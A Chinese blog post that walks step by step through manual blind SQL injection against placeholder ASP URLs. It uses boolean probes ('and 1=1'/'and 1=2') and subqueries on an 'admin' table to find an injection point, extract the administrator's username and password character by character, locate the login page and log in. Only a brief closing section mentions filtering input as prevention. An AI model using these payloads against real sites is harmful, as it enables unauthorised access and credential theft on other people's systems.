`
jiangduxi
  • 浏览: 443806 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

SQL injection详解

阅读更多
引用

1. SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。

2.在大多数站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号 .

3.检测手段(and 1=1 和and 1=2)
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=1
http://www.xxx.xx/xxx/show.asp?id=xx and 1=2

两种返回不同页面,则找到注入点

4.试探是否存在管理员列表
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin)

正常返回则存在管理员列表

5. 试探密码长度
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username)>5)

正常返回则表示密码大于5位(为什么选择5位呢?因为很多时候使用的是admin)
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username) < 13)

通过大于5和小与13来给确定一个范围。然后使用等于来命中密码的长度
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username)="确定密码长度")


6. 试探用户名
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1 =(select min(id) from admin where left(username,1)='1')

正常返回, 确定管理员编号在第一位

7.搜索站长的ID

8.测试搜索的ID
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(username,密码的长度)='站长的ID')


9. 试探密码
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(password,1)='1')

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(password,密码的长度)='密码')

注意:
引用

如果在left(pass,1)=后面是数字,那么要把数字用单引号包含起来,例: left(pass,1)='1' 否则程序会出错。


10.找出管理员登陆界面
  一般是后缀是:adminlogin.asp、login.asp、admin/login.asp等等
11. 登陆系统


先分析了SQL Injection的大致步骤。通过分析注入攻击的思维来给进行安全预防。一般情况下,如果是一个完整的系统进行开发和运行在SQL Injection将进行了很好的预防。不管在升级或者新增一个新页面或者新功能的时候,由于开发者不是整个系统的开发者或者其他什么原因。很可能出现SQL Injection点。

总结:预防SQL Injection就必须对SQL Injection有很好的了解。不要相信用户提交的数据一定要进行很好的过滤。不过现在有一些好的模板可以帮助过滤。但是编程人员一定要提高警惕。

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics